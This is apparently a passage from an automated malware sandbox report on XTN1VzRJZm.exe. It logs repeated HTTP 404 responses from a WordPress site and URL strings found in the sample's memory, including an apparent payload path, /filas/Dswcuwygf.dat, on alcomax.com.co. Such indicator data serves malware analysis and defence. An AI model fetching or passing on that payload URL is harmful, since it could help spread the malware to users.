Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:20 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:23 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:26 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:29 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:32 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:35 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:37 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:40 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:49 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:51 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:55 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 07 Mar 2025 15:09:58 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://alcomax.com.co/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encoding,User-AgentTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8

Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://alcomax.com.co
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://alcomax.com.cod
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000279C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A8C000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002903000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co#
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co$N
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co$m
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/a
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/alcoholimetros/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/auto-rescatadores/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/conocenos-alcomax/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/contactenos/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/detectores-de-gases/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000272B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000270F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/filas/Dswcuwygf.dat
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002B6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/filas/Dswcuwygf.dat$
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/geofonos-detectores-fugas-de-agua/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF5000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AAC000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000291B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA0000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://alcomax.com.co/luxometros/
Source: XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000283A000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290B000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028EA000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002A84000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.000000000290F000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AC9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028C6000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.00000000028D2000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AF9000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002907000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002ACD000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 00000000.00000002.2976685963.0000000002AA4000.00000004.00000800.00020000.00000000.sdmp, XTN1VzRJZm.exe, 